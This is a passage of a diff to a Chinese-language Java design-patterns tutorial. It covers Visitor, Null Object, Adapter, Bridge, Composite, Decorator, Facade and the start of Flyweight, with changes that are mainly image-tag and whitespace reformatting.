-- Visitor：访问者，为每一个 ConcreteElement 声明一个 visit 操作
-- ConcreteVisitor：具体访问者，存储遍历过程中的累计结果
-- ObjectStructure：对象结构，可以是组合结构，或者是一个集合。
+- Visitor：访问者，为每一个 ConcreteElement 声明一个 visit 操作
+- ConcreteVisitor：具体访问者，存储遍历过程中的累计结果
+- ObjectStructure：对象结构，可以是组合结构，或者是一个集合。
 
-![](index_files/ec923dc7-864c-47b0-a411-1f2c48d084de.png)
+<div align="center"> <img src="pics/ec923dc7-864c-47b0-a411-1f2c48d084de.png"/> </div><br>
 
-### Implementation
+### Implementation
 
 ```java
-public interface Element {
-    void accept(Visitor visitor);
+public interface Element {
+    void accept(Visitor visitor);
 }
 ```
 
 ```java
-class CustomerGroup {
+class CustomerGroup {
 
-    private List<Customer> customers = new ArrayList<>();
+    private List<Customer> customers = new ArrayList<>();
 
-    void accept(Visitor visitor) {
-        for (Customer customer : customers) {
-            customer.accept(visitor);
-        }
-    }
+    void accept(Visitor visitor) {
+        for (Customer customer : customers) {
+            customer.accept(visitor);
+        }
+    }
 
-    void addCustomer(Customer customer) {
-        customers.add(customer);
-    }
+    void addCustomer(Customer customer) {
+        customers.add(customer);
+    }
 }
 ```
 
 ```java
-public class Customer implements Element {
+public class Customer implements Element {
 
-    private String name;
-    private List<Order> orders = new ArrayList<>();
+    private String name;
+    private List<Order> orders = new ArrayList<>();
 
-    Customer(String name) {
-        this.name = name;
-    }
+    Customer(String name) {
+        this.name = name;
+    }
 
-    String getName() {
-        return name;
-    }
+    String getName() {
+        return name;
+    }
 
-    void addOrder(Order order) {
-        orders.add(order);
-    }
+    void addOrder(Order order) {
+        orders.add(order);
+    }
 
-    public void accept(Visitor visitor) {
-        visitor.visit(this);
-        for (Order order : orders) {
-            order.accept(visitor);
-        }
-    }
+    public void accept(Visitor visitor) {
+        visitor.visit(this);
+        for (Order order : orders) {
+            order.accept(visitor);
+        }
+    }
 }
 ```
 
 ```java
-public class Order implements Element {
+public class Order implements Element {
 
-    private String name;
-    private List<Item> items = new ArrayList();
+    private String name;
+    private List<Item> items = new ArrayList();
 
-    Order(String name) {
-        this.name = name;
-    }
+    Order(String name) {
+        this.name = name;
+    }
 
-    Order(String name, String itemName) {
-        this.name = name;
-        this.addItem(new Item(itemName));
-    }
+    Order(String name, String itemName) {
+        this.name = name;
+        this.addItem(new Item(itemName));
+    }
 
-    String getName() {
-        return name;
-    }
+    String getName() {
+        return name;
+    }
 
-    void addItem(Item item) {
-        items.add(item);
-    }
+    void addItem(Item item) {
+        items.add(item);
+    }
 
-    public void accept(Visitor visitor) {
-        visitor.visit(this);
+    public void accept(Visitor visitor) {
+        visitor.visit(this);
 
-        for (Item item : items) {
-            item.accept(visitor);
-        }
-    }
+        for (Item item : items) {
+            item.accept(visitor);
+        }
+    }
 }
 ```
 
 ```java
-public class Item implements Element {
+public class Item implements Element {
 
-    private String name;
+    private String name;
 
-    Item(String name) {
-        this.name = name;
-    }
+    Item(String name) {
+        this.name = name;
+    }
 
-    String getName() {
-        return name;
-    }
+    String getName() {
+        return name;
+    }
 
-    public void accept(Visitor visitor) {
-        visitor.visit(this);
-    }
+    public void accept(Visitor visitor) {
+        visitor.visit(this);
+    }
 }
 ```
 
 ```java
-public interface Visitor {
-    void visit(Customer customer);
+public interface Visitor {
+    void visit(Customer customer);
 
-    void visit(Order order);
+    void visit(Order order);
 
-    void visit(Item item);
+    void visit(Item item);
 }
 ```
 
 ```java
-public class GeneralReport implements Visitor {
+public class GeneralReport implements Visitor {
 
-    private int customersNo;
-    private int ordersNo;
-    private int itemsNo;
+    private int customersNo;
+    private int ordersNo;
+    private int itemsNo;
 
-    public void visit(Customer customer) {
-        System.out.println(customer.getName());
-        customersNo++;
-    }
+    public void visit(Customer customer) {
+        System.out.println(customer.getName());
+        customersNo++;
+    }
 
-    public void visit(Order order) {
-        System.out.println(order.getName());
-        ordersNo++;
-    }
+    public void visit(Order order) {
+        System.out.println(order.getName());
+        ordersNo++;
+    }
 
-    public void visit(Item item) {
-        System.out.println(item.getName());
-        itemsNo++;
-    }
+    public void visit(Item item) {
+        System.out.println(item.getName());
+        itemsNo++;
+    }
 
-    public void displayResults() {
-        System.out.println("Number of customers: " + customersNo);
-        System.out.println("Number of orders:    " + ordersNo);
-        System.out.println("Number of items:     " + itemsNo);
-    }
+    public void displayResults() {
+        System.out.println("Number of customers: " + customersNo);
+        System.out.println("Number of orders:    " + ordersNo);
+        System.out.println("Number of items:     " + itemsNo);
+    }
 }
 ```
 
 ```java
-public class Client {
-    public static void main(String[] args) {
-        Customer customer1 = new Customer("customer1");
-        customer1.addOrder(new Order("order1", "item1"));
-        customer1.addOrder(new Order("order2", "item1"));
-        customer1.addOrder(new Order("order3", "item1"));
+public class Client {
+    public static void main(String[] args) {
+        Customer customer1 = new Customer("customer1");
+        customer1.addOrder(new Order("order1", "item1"));
+        customer1.addOrder(new Order("order2", "item1"));
+        customer1.addOrder(new Order("order3", "item1"));
 
-        Order order = new Order("order_a");
-        order.addItem(new Item("item_a1"));
-        order.addItem(new Item("item_a2"));
-        order.addItem(new Item("item_a3"));
-        Customer customer2 = new Customer("customer2");
-        customer2.addOrder(order);
+        Order order = new Order("order_a");
+        order.addItem(new Item("item_a1"));
+        order.addItem(new Item("item_a2"));
+        order.addItem(new Item("item_a3"));
+        Customer customer2 = new Customer("customer2");
+        customer2.addOrder(order);
 
-        CustomerGroup customers = new CustomerGroup();
-        customers.addCustomer(customer1);
-        customers.addCustomer(customer2);
+        CustomerGroup customers = new CustomerGroup();
+        customers.addCustomer(customer1);
+        customers.addCustomer(customer2);
 
-        GeneralReport visitor = new GeneralReport();
-        customers.accept(visitor);
-        visitor.displayResults();
-    }
+        GeneralReport visitor = new GeneralReport();
+        customers.accept(visitor);
+        visitor.displayResults();
+    }
 }
 ```
 
@@ -2242,413 +2277,413 @@ order_a
 item_a1
 item_a2
 item_a3
-Number of customers: 2
-Number of orders:    4
-Number of items:     6
+Number of customers: 2
+Number of orders:    4
+Number of items:     6
 ```
 
-### JDK
+### JDK
 
-- javax.lang.model.element.Element and javax.lang.model.element.ElementVisitor
-- javax.lang.model.type.TypeMirror and javax.lang.model.type.TypeVisitor
+- javax.lang.model.element.Element and javax.lang.model.element.ElementVisitor
+- javax.lang.model.type.TypeMirror and javax.lang.model.type.TypeVisitor
 
-## 12. 空对象（Null）
+## 12. 空对象（Null）
 
-### Intent
+### Intent
 
-使用什么都不做的空对象来代替 NULL。
+使用什么都不做的空对象来代替 NULL。
 
-一个方法返回 NULL，意味着方法的调用端需要去检查返回值是否是 NULL，这么做会导致非常多的冗余的检查代码。并且如果某一个调用端忘记了做这个检查返回值，而直接使用返回的对象，那么就有可能抛出空指针异常。
+一个方法返回 NULL，意味着方法的调用端需要去检查返回值是否是 NULL，这么做会导致非常多的冗余的检查代码。并且如果某一个调用端忘记了做这个检查返回值，而直接使用返回的对象，那么就有可能抛出空指针异常。
 
-### Class Diagram
+### Class Diagram
 
-![](index_files/dd3b289c-d90e-44a6-a44c-4880517eb1de.png)
+<div align="center"> <img src="pics/dd3b289c-d90e-44a6-a44c-4880517eb1de.png"/> </div><br>
 
-### Implementation
+### Implementation
 
 ```java
-public abstract class AbstractOperation {
-    abstract void request();
+public abstract class AbstractOperation {
+    abstract void request();
 }
 ```
 
 ```java
-public class RealOperation extends AbstractOperation {
-    @Override
-    void request() {
-        System.out.println("do something");
-    }
+public class RealOperation extends AbstractOperation {
+    @Override
+    void request() {
+        System.out.println("do something");
+    }
 }
 ```
 
 ```java
-public class NullOperation extends AbstractOperation{
-    @Override
-    void request() {
-        // do nothing
-    }
+public class NullOperation extends AbstractOperation{
+    @Override
+    void request() {
+        // do nothing
+    }
 }
 ```
 
 ```java
-public class Client {
-    public static void main(String[] args) {
-        AbstractOperation abstractOperation = func(-1);
-        abstractOperation.request();
-    }
+public class Client {
+    public static void main(String[] args) {
+        AbstractOperation abstractOperation = func(-1);
+        abstractOperation.request();
+    }
 
-    public static AbstractOperation func(int para) {
-        if (para < 0) {
-            return new NullOperation();
-        }
-        return new RealOperation();
-    }
+    public static AbstractOperation func(int para) {
+        if (para < 0) {
+            return new NullOperation();
+        }
+        return new RealOperation();
+    }
 }
 ```
 
-# 四、结构型
+# 四、结构型
 
-## 1. 适配器（Adapter）
+## 1. 适配器（Adapter）
 
-### Intent
+### Intent
 
 把一个类接口转换成另一个用户需要的接口。
 
-![](index_files/3d5b828e-5c4d-48d8-a440-281e4a8e1c92.png)
+<div align="center"> <img src="pics/3d5b828e-5c4d-48d8-a440-281e4a8e1c92.png"/> </div><br>
 
-### Class Diagram
+### Class Diagram
 
-![](index_files/0889c0b4-07b4-45fc-873c-e0e16b97f67d.png)
+<div align="center"> <img src="pics/0889c0b4-07b4-45fc-873c-e0e16b97f67d.png"/> </div><br>
 
-### Implementation
+### Implementation
 
-鸭子（Duck）和火鸡（Turkey）拥有不同的叫声，Duck 的叫声调用 quack() 方法，而 Turkey 调用 gobble() 方法。
+鸭子（Duck）和火鸡（Turkey）拥有不同的叫声，Duck 的叫声调用 quack() 方法，而 Turkey 调用 gobble() 方法。
 
-要求将 Turkey 的 gobble() 方法适配成 Duck 的 quack() 方法，从而让火鸡冒充鸭子！
+要求将 Turkey 的 gobble() 方法适配成 Duck 的 quack() 方法，从而让火鸡冒充鸭子！
 
 ```java
-public interface Duck {
-    void quack();
+public interface Duck {
+    void quack();
 }
 ```
 
 ```java
-public interface Turkey {
-    void gobble();
+public interface Turkey {
+    void gobble();
 }
 ```
 
 ```java
-public class WildTurkey implements Turkey {
-    @Override
-    public void gobble() {
-        System.out.println("gobble!");
-    }
+public class WildTurkey implements Turkey {
+    @Override
+    public void gobble() {
+        System.out.println("gobble!");
+    }
 }
 ```
 
 ```java
-public class TurkeyAdapter implements Duck {
-    Turkey turkey;
+public class TurkeyAdapter implements Duck {
+    Turkey turkey;
 
-    public TurkeyAdapter(Turkey turkey) {
-        this.turkey = turkey;
-    }
+    public TurkeyAdapter(Turkey turkey) {
+        this.turkey = turkey;
+    }
 
-    @Override
-    public void quack() {
-        turkey.gobble();
-    }
+    @Override
+    public void quack() {
+        turkey.gobble();
+    }
 }
 ```
 
 ```java
-public class Client {
-    public static void main(String[] args) {
-        Turkey turkey = new WildTurkey();
-        Duck duck = new TurkeyAdapter(turkey);
-        duck.quack();
-    }
+public class Client {
+    public static void main(String[] args) {
+        Turkey turkey = new WildTurkey();
+        Duck duck = new TurkeyAdapter(turkey);
+        duck.quack();
+    }
 }
 ```
 
-### JDK
+### JDK
 
-- [java.util.Arrays#asList()](http://docs.oracle.com/javase/8/docs/api/java/util/Arrays.html#asList%28T...%29)
-- [java.util.Collections#list()](https://docs.oracle.com/javase/8/docs/api/java/util/Collections.html#list-java.util.Enumeration-)
-- [java.util.Collections#enumeration()](https://docs.oracle.com/javase/8/docs/api/java/util/Collections.html#enumeration-java.util.Collection-)
-- [javax.xml.bind.annotation.adapters.XMLAdapter](http://docs.oracle.com/javase/8/docs/api/javax/xml/bind/annotation/adapters/XmlAdapter.html#marshal-BoundType-)
+- [java.util.Arrays#asList()](http://docs.oracle.com/javase/8/docs/api/java/util/Arrays.html#asList%28T...%29)
+- [java.util.Collections#list()](https://docs.oracle.com/javase/8/docs/api/java/util/Collections.html#list-java.util.Enumeration-)
+- [java.util.Collections#enumeration()](https://docs.oracle.com/javase/8/docs/api/java/util/Collections.html#enumeration-java.util.Collection-)
+- [javax.xml.bind.annotation.adapters.XMLAdapter](http://docs.oracle.com/javase/8/docs/api/javax/xml/bind/annotation/adapters/XmlAdapter.html#marshal-BoundType-)
 
-## 2. 桥接（Bridge）
+## 2. 桥接（Bridge）
 
-### Intent
+### Intent
 
 将抽象与实现分离开来，使它们可以独立变化。
 
-### Class Diagram
+### Class Diagram
 
-- Abstraction：定义抽象类的接口
-- Implementor：定义实现类接口
+- Abstraction：定义抽象类的接口
+- Implementor：定义实现类接口
 
-![](index_files/c2cbf5d2-82af-4c78-bd43-495da5adf55f.png)
+<div align="center"> <img src="pics/c2cbf5d2-82af-4c78-bd43-495da5adf55f.png"/> </div><br>
 
-### Implementation
+### Implementation
 
-RemoteControl 表示遥控器，指代 Abstraction。
+RemoteControl 表示遥控器，指代 Abstraction。
 
-TV 表示电视，指代 Implementor。
+TV 表示电视，指代 Implementor。
 
 桥接模式将遥控器和电视分离开来，从而可以独立改变遥控器或者电视的实现。
 
 ```java
-public abstract class TV {
-    public abstract void on();
+public abstract class TV {
+    public abstract void on();
 
-    public abstract void off();
+    public abstract void off();
 
-    public abstract void tuneChannel();
+    public abstract void tuneChannel();
 }
 ```
 
 ```java
-public class Sony extends TV {
-    @Override
-    public void on() {
-        System.out.println("Sony.on()");
-    }
+public class Sony extends TV {
+    @Override
+    public void on() {
+        System.out.println("Sony.on()");
+    }
 
-    @Override
-    public void off() {
-        System.out.println("Sony.off()");
-    }
+    @Override
+    public void off() {
+        System.out.println("Sony.off()");
+    }
 
-    @Override
-    public void tuneChannel() {
-        System.out.println("Sony.tuneChannel()");
-    }
+    @Override
+    public void tuneChannel() {
+        System.out.println("Sony.tuneChannel()");
+    }
 }
 ```
 
 ```java
-public class RCA extends TV {
-    @Override
-    public void on() {
-        System.out.println("RCA.on()");
-    }
+public class RCA extends TV {
+    @Override
+    public void on() {
+        System.out.println("RCA.on()");
+    }
 
-    @Override
-    public void off() {
-        System.out.println("RCA.off()");
-    }
+    @Override
+    public void off() {
+        System.out.println("RCA.off()");
+    }
 
-    @Override
-    public void tuneChannel() {
-        System.out.println("RCA.tuneChannel()");
-    }
+    @Override
+    public void tuneChannel() {
+        System.out.println("RCA.tuneChannel()");
+    }
 }
 ```
 
 ```java
-public abstract class RemoteControl {
-    protected TV tv;
+public abstract class RemoteControl {
+    protected TV tv;
 
-    public RemoteControl(TV tv) {
-        this.tv = tv;
-    }
+    public RemoteControl(TV tv) {
+        this.tv = tv;
+    }
 
-    public abstract void on();
+    public abstract void on();
 
-    public abstract void off();
+    public abstract void off();
 
-    public abstract void tuneChannel();
+    public abstract void tuneChannel();
 }
 ```
 
 ```java
-public class ConcreteRemoteControl1 extends RemoteControl {
-    public ConcreteRemoteControl1(TV tv) {
-        super(tv);
-    }
+public class ConcreteRemoteControl1 extends RemoteControl {
+    public ConcreteRemoteControl1(TV tv) {
+        super(tv);
+    }
 
-    @Override
-    public void on() {
-        System.out.println("ConcreteRemoteControl1.on()");
-        tv.on();
-    }
+    @Override
+    public void on() {
+        System.out.println("ConcreteRemoteControl1.on()");
+        tv.on();
+    }
 
-    @Override
-    public void off() {
-        System.out.println("ConcreteRemoteControl1.off()");
-        tv.off();
-    }
+    @Override
+    public void off() {
+        System.out.println("ConcreteRemoteControl1.off()");
+        tv.off();
+    }
 
-    @Override
-    public void tuneChannel() {
-        System.out.println("ConcreteRemoteControl1.tuneChannel()");
-        tv.tuneChannel();
-    }
+    @Override
+    public void tuneChannel() {
+        System.out.println("ConcreteRemoteControl1.tuneChannel()");
+        tv.tuneChannel();
+    }
 }
 ```
 
 ```java
-public class ConcreteRemoteControl2 extends RemoteControl {
-    public ConcreteRemoteControl2(TV tv) {
-        super(tv);
-    }
+public class ConcreteRemoteControl2 extends RemoteControl {
+    public ConcreteRemoteControl2(TV tv) {
+        super(tv);
+    }
 
-    @Override
-    public void on() {
-        System.out.println("ConcreteRemoteControl2.on()");
-        tv.on();
-    }
+    @Override
+    public void on() {
+        System.out.println("ConcreteRemoteControl2.on()");
+        tv.on();
+    }
 
-    @Override
-    public void off() {
-        System.out.println("ConcreteRemoteControl2.off()");
-        tv.off();
-    }
+    @Override
+    public void off() {
+        System.out.println("ConcreteRemoteControl2.off()");
+        tv.off();
+    }
 
-    @Override
-    public void tuneChannel() {
-        System.out.println("ConcreteRemoteControl2.tuneChannel()");
-        tv.tuneChannel();
-    }
+    @Override
+    public void tuneChannel() {
+        System.out.println("ConcreteRemoteControl2.tuneChannel()");
+        tv.tuneChannel();
+    }
 }
 ```
 
 ```java
-public class Client {
-    public static void main(String[] args) {
-        RemoteControl remoteControl1 = new ConcreteRemoteControl1(new RCA());
-        remoteControl1.on();
-        remoteControl1.off();
-        remoteControl1.tuneChannel();
-        RemoteControl remoteControl2 = new ConcreteRemoteControl2(new Sony());
-         remoteControl2.on();
-         remoteControl2.off();
-         remoteControl2.tuneChannel();
-    }
+public class Client {
+    public static void main(String[] args) {
+        RemoteControl remoteControl1 = new ConcreteRemoteControl1(new RCA());
+        remoteControl1.on();
+        remoteControl1.off();
+        remoteControl1.tuneChannel();
+        RemoteControl remoteControl2 = new ConcreteRemoteControl2(new Sony());
+         remoteControl2.on();
+         remoteControl2.off();
+         remoteControl2.tuneChannel();
+    }
 }
 ```
 
-### JDK
+### JDK
 
-- AWT (It provides an abstraction layer which maps onto the native OS the windowing support.)
-- JDBC
+- AWT (It provides an abstraction layer which maps onto the native OS the windowing support.)
+- JDBC
 
-## 3. 组合（Composite）
+## 3. 组合（Composite）
 
-### Intent
+### Intent
 
 将对象组合成树形结构来表示“整体/部分”层次关系，允许用户以相同的方式处理单独对象和组合对象。
 
-### Class Diagram
+### Class Diagram
 
 组件（Component）类是组合类（Composite）和叶子类（Leaf）的父类，可以把组合类看成是树的中间节点。
 
 组合对象拥有一个或者多个组件对象，因此组合对象的操作可以委托给组件对象去处理，而组件对象可以是另一个组合对象或者叶子对象。
 
-![](index_files/77931a4b-72ba-4016-827d-84b9a6845a51.png)
+<div align="center"> <img src="pics/77931a4b-72ba-4016-827d-84b9a6845a51.png"/> </div><br>
 
-### Implementation
+### Implementation
 
 ```java
-public abstract class Component {
-    protected String name;
+public abstract class Component {
+    protected String name;
 
-    public Component(String name) {
-        this.name = name;
-    }
+    public Component(String name) {
+        this.name = name;
+    }
 
-    public void print() {
-        print(0);
-    }
+    public void print() {
+        print(0);
+    }
 
-    abstract void print(int level);
+    abstract void print(int level);
 
-    abstract public void add(Component component);
+    abstract public void add(Component component);
 
-    abstract public void remove(Component component);
+    abstract public void remove(Component component);
 }
 ```
 
 ```java
-public class Composite extends Component {
+public class Composite extends Component {
 
-    private List<Component> child;
+    private List<Component> child;
 
-    public Composite(String name) {
-        super(name);
-        child = new ArrayList<>();
-    }
+    public Composite(String name) {
+        super(name);
+        child = new ArrayList<>();
+    }
 
-    @Override
-    void print(int level) {
-        for (int i = 0; i < level; i++) {
-            System.out.print("--");
-        }
-        System.out.println("Composite:" + name);
-        for (Component component : child) {
-            component.print(level + 1);
-        }
-    }
+    @Override
+    void print(int level) {
+        for (int i = 0; i < level; i++) {
+            System.out.print("--");
+        }
+        System.out.println("Composite:" + name);
+        for (Component component : child) {
+            component.print(level + 1);
+        }
+    }
 
-    @Override
-    public void add(Component component) {
-        child.add(component);
-    }
+    @Override
+    public void add(Component component) {
+        child.add(component);
+    }
 
-    @Override
-    public void remove(Component component) {
-        child.remove(component);
-    }
+    @Override
+    public void remove(Component component) {
+        child.remove(component);
+    }
 }
 ```
 
 ```java
-public class Leaf extends Component {
-    public Leaf(String name) {
-        super(name);
-    }
+public class Leaf extends Component {
+    public Leaf(String name) {
+        super(name);
+    }
 
-    @Override
-    void print(int level) {
-        for (int i = 0; i < level; i++) {
-            System.out.print("--");
-        }
-        System.out.println("left:" + name);
-    }
+    @Override
+    void print(int level) {
+        for (int i = 0; i < level; i++) {
+            System.out.print("--");
+        }
+        System.out.println("left:" + name);
+    }
 
-    @Override
-    public void add(Component component) {
-        throw new UnsupportedOperationException(); // 牺牲透明性换取单一职责原则，这样就不用考虑是叶子节点还是组合节点
-    }
+    @Override
+    public void add(Component component) {
+        throw new UnsupportedOperationException(); // 牺牲透明性换取单一职责原则，这样就不用考虑是叶子节点还是组合节点
+    }
 
-    @Override
-    public void remove(Component component) {
-        throw new UnsupportedOperationException();
-    }
+    @Override
+    public void remove(Component component) {
+        throw new UnsupportedOperationException();
+    }
 }
 ```
 
 ```java
-public class Client {
-    public static void main(String[] args) {
-        Composite root = new Composite("root");
-        Component node1 = new Leaf("1");
-        Component node2 = new Composite("2");
-        Component node3 = new Leaf("3");
-        root.add(node1);
-        root.add(node2);
-        root.add(node3);
-        Component node21 = new Leaf("21");
-        Component node22 = new Composite("22");
-        node2.add(node21);
-        node2.add(node22);
-        Component node221 = new Leaf("221");
-        node22.add(node221);
-        root.print();
-    }
+public class Client {
+    public static void main(String[] args) {
+        Composite root = new Composite("root");
+        Component node1 = new Leaf("1");
+        Component node2 = new Composite("2");
+        Component node3 = new Leaf("3");
+        root.add(node1);
+        root.add(node2);
+        root.add(node3);
+        Component node21 = new Leaf("21");
+        Component node22 = new Composite("22");
+        node2.add(node21);
+        node2.add(node22);
+        Component node221 = new Leaf("221");
+        node22.add(node221);
+        root.print();
+    }
 }
 ```
 
@@ -2662,101 +2697,101 @@ Composite:root
 --left:3
 ```
 
-### JDK
+### JDK
 
-- javax.swing.JComponent#add(Component)
-- java.awt.Container#add(Component)
-- java.util.Map#putAll(Map)
-- java.util.List#addAll(Collection)
-- java.util.Set#addAll(Collection)
+- javax.swing.JComponent#add(Component)
+- java.awt.Container#add(Component)
+- java.util.Map#putAll(Map)
+- java.util.List#addAll(Collection)
+- java.util.Set#addAll(Collection)
 
-## 4. 装饰（Decorator）
+## 4. 装饰（Decorator）
 
-### Intent
+### Intent
 
 为对象动态添加功能。
 
-### Class Diagram
+### Class Diagram
 
 装饰者（Decorator）和具体组件（ConcreteComponent）都继承自组件（Component），具体组件的方法实现不需要依赖于其它对象，而装饰者组合了一个组件，这样它可以装饰其它装饰者或者具体组件。所谓装饰，就是把这个装饰者套在被装饰者之上，从而动态扩展被装饰者的功能。装饰者的方法有一部分是自己的，这属于它的功能，然后调用被装饰者的方法实现，从而也保留了被装饰者的功能。可以看到，具体组件应当是装饰层次的最低层，因为只有具体组件的方法实现不需要依赖于其它对象。
 
-![](index_files/137c593d-0a9e-47b8-a9e6-b71f540b82dd.png)
+<div align="center"> <img src="pics/137c593d-0a9e-47b8-a9e6-b71f540b82dd.png"/> </div><br>
 
-### Implementation
+### Implementation
 
 设计不同种类的饮料，饮料可以添加配料，比如可以添加牛奶，并且支持动态添加新配料。每增加一种配料，该饮料的价格就会增加，要求计算一种饮料的价格。
 
-下图表示在 DarkRoast 饮料上新增新添加 Mocha 配料，之后又添加了 Whip 配料。DarkRoast 被 Mocha 包裹，Mocha 又被 Whip 包裹。它们都继承自相同父类，都有 cost() 方法，外层类的 cost() 方法调用了内层类的 cost() 方法。
+下图表示在 DarkRoast 饮料上新增新添加 Mocha 配料，之后又添加了 Whip 配料。DarkRoast 被 Mocha 包裹，Mocha 又被 Whip 包裹。它们都继承自相同父类，都有 cost() 方法，外层类的 cost() 方法调用了内层类的 cost() 方法。
 
-<img src="index_files/c9cfd600-bc91-4f3a-9f99-b42f88a5bb24.jpg" width="600"/>
+<div align="center"> <img src="pics/c9cfd600-bc91-4f3a-9f99-b42f88a5bb24.jpg" width="600"/> </div><br>
 
 ```java
-public interface Beverage {
-    double cost();
+public interface Beverage {
+    double cost();
 }
 ```
 
 ```java
-public class DarkRoast implements Beverage {
-    @Override
-    public double cost() {
-        return 1;
-    }
+public class DarkRoast implements Beverage {
+    @Override
+    public double cost() {
+        return 1;
+    }
 }
 ```
 
 ```java
-public class HouseBlend implements Beverage {
-    @Override
-    public double cost() {
-        return 1;
-    }
+public class HouseBlend implements Beverage {
+    @Override
+    public double cost() {
+        return 1;
+    }
 }
 ```
 
 ```java
-public abstract class CondimentDecorator implements Beverage {
-    protected Beverage beverage;
+public abstract class CondimentDecorator implements Beverage {
+    protected Beverage beverage;
 }
 ```
 
 ```java
-public class Milk extends CondimentDecorator {
+public class Milk extends CondimentDecorator {
 
-    public Milk(Beverage beverage) {
-        this.beverage = beverage;
-    }
+    public Milk(Beverage beverage) {
+        this.beverage = beverage;
+    }
 
-    @Override
-    public double cost() {
-        return 1 + beverage.cost();
-    }
+    @Override
+    public double cost() {
+        return 1 + beverage.cost();
+    }
 }
 ```
 
 ```java
-public class Mocha extends CondimentDecorator {
+public class Mocha extends CondimentDecorator {
 
-    public Mocha(Beverage beverage) {
-        this.beverage = beverage;
-    }
+    public Mocha(Beverage beverage) {
+        this.beverage = beverage;
+    }
 
-    @Override
-    public double cost() {
-        return 1 + beverage.cost();
-    }
+    @Override
+    public double cost() {
+        return 1 + beverage.cost();
+    }
 }
 ```
 
 ```java
-public class Client {
+public class Client {
 
-    public static void main(String[] args) {
-        Beverage beverage = new HouseBlend();
-        beverage = new Mocha(beverage);
-        beverage = new Milk(beverage);
-        System.out.println(beverage.cost());
-    }
+    public static void main(String[] args) {
+        Beverage beverage = new HouseBlend();
+        beverage = new Mocha(beverage);
+        beverage = new Milk(beverage);
+        System.out.println(beverage.cost());
+    }
 }
 ```
 
@@ -2764,307 +2799,271 @@ public class Client {
 3.0
 ```
 
-### 设计原则
+### 设计原则
 
 类应该对扩展开放，对修改关闭：也就是添加新功能时不需要修改代码。饮料可以动态添加新的配料，而不需要去修改饮料的代码。
 
 不可能把所有的类设计成都满足这一原则，应当把该原则应用于最有可能发生改变的地方。
 
-### JDK
+### JDK
 
-- java.io.BufferedInputStream(InputStream)
-- java.io.DataInputStream(InputStream)
-- java.io.BufferedOutputStream(OutputStream)
-- java.util.zip.ZipOutputStream(OutputStream)
-- java.util.Collections#checked[List|Map|Set|SortedSet|SortedMap]()
+- java.io.BufferedInputStream(InputStream)
+- java.io.DataInputStream(InputStream)
+- java.io.BufferedOutputStream(OutputStream)
+- java.util.zip.ZipOutputStream(OutputStream)
+- java.util.Collections#checked[List|Map|Set|SortedSet|SortedMap]()
 
-## 5. 外观（Facade）
+## 5. 外观（Facade）
 
-### Intent
+### Intent
 
 提供了一个统一的接口，用来访问子系统中的一群接口，从而让子系统更容易使用。
 
-### Class Diagram
+### Class Diagram
 
-![](index_files/f9978fa6-9f49-4a0f-8540-02d269ac448f.png)
+<div align="center"> <img src="pics/f9978fa6-9f49-4a0f-8540-02d269ac448f.png"/> </div><br>
 
-### Implementation
+### Implementation
 
 观看电影需要操作很多电器，使用外观模式实现一键看电影功能。
 
 ```java
-public class SubSystem {
-    public void turnOnTV() {
-        System.out.println("turnOnTV()");
-    }
+public class SubSystem {
+    public void turnOnTV() {
+        System.out.println("turnOnTV()");
+    }
 
-    public void setCD(String cd) {
-        System.out.println("setCD( " + cd + " )");
-    }
+    public void setCD(String cd) {
+        System.out.println("setCD( " + cd + " )");
+    }
 
-    public void startWatching(){
-        System.out.println("startWatching()");
-    }
+    public void startWatching(){
+        System.out.println("startWatching()");
+    }
 }
 ```
 
 ```java
-public class Facade {
-    private SubSystem subSystem = new SubSystem();
+public class Facade {
+    private SubSystem subSystem = new SubSystem();
 
-    public void watchMovie() {
-        subSystem.turnOnTV();
-        subSystem.setCD("a movie");
-        subSystem.startWatching();
-    }
+    public void watchMovie() {
+        subSystem.turnOnTV();
+        subSystem.setCD("a movie");
+        subSystem.startWatching();
+    }
 }
 ```
 
 ```java
-public class Client {
-    public static void main(String[] args) {
-        Facade facade = new Facade();
-        facade.watchMovie();
-    }
+public class Client {
+    public static void main(String[] args) {
+        Facade facade = new Facade();
+        facade.watchMovie();
+    }
 }
 ```
 
-### 设计原则
+### 设计原则
 
 最少知识原则：只和你的密友谈话。也就是说客户对象所需要交互的对象应当尽可能少。
 
-## 6. 享元（Flyweight）
+## 6. 享元（Flyweight）
 
-### Intent
+### Intent
 
 利用共享的方式来支持大量细粒度的对象，这些对象一部分内部状态是相同的。
 
-### Class Diagram
+### Class Diagram
 
-- Flyweight：享元对象
-- IntrinsicState：内部状态，享元对象共享内部状态
-- ExtrinsicState：外部状态，每个享元对象的外部状态不同
+- Flyweight：享元对象
+- IntrinsicState：内部状态，享元对象共享内部状态
+- ExtrinsicState：外部状态，每个享元对象的外部状态不同
 
-![](index_files/d52270b4-9097-4667-9f18-f405fc661c99.png)
+<div align="center"> <img src="pics/d52270b4-9097-4667-9f18-f405fc661c99.png"/> </div><br>
 
-### Implementation
+### Implementation
 
 ```java
-public interface Flyweight {
-    void doOperation(String extrinsicState);
+public interface Flyweight {
+    void doOperation(String extrinsicState);
 }
 ```
 
 ```java
-public class ConcreteFlyweight implements Flyweight {
+public class ConcreteFlyweight implements Flyweight {
 
-    private String intrinsicState;
+    private String intrinsicState;
 
-    public ConcreteFlyweight(String intrinsicState) {
-        this.intrinsicState = intrinsicState;
-    }
+    public ConcreteFlyweight(String intrinsicState) {
+        this.intrinsicState = intrinsicState;
+    }
 
-    @Override
-    public void doOperation(String extrinsicState) {
-        System.out.println("Object address: " + System.identityHashCode(this));
-        System.out.println("IntrinsicState: " + intrinsicState);
-        System.out.println("ExtrinsicState: " + extrinsicState);
-    }
+    @Override
+    public void doOperation(String extrinsicState) {
+        System.out.println("Object address: " + System.identityHashCode(this));
+        System.out.println("IntrinsicState: " + intrinsicState);
+        System.out.println("ExtrinsicState: " + extrinsicState);
+    }
 }
 ```
 
 ```java
-public class FlyweightFactory {
+public class FlyweightFactory {
 
-    private HashMap<String, Flyweight> flyweights = new HashMap<>();
+    private HashMap<String, Flyweight> flyweights = new HashMap<>();
 
-    Flyweight getFlyweight(String intrinsicState) {
-        if (!flyweights.containsKey(intrinsicState)) {
-            Flyweight flyweight = new ConcreteFlyweight(intrinsicState);
-            flyweights.put(intrinsicState, flyweight);
-        }
-        return flyweights.get(intrinsicState);
-    }
+    Flyweight getFlyweight(String intrinsicState) {
+        if (!flyweights.containsKey(intrinsicState)) {
+            Flyweight flyweight = new ConcreteFlyweight(intrinsicState);
+            flyweights.put(intrinsicState, flyweight);
+        }
+        return flyweights.get(intrinsicState);
+    }
 }
 ```
 
 ```java
-public class Client {
+public class Client {
 
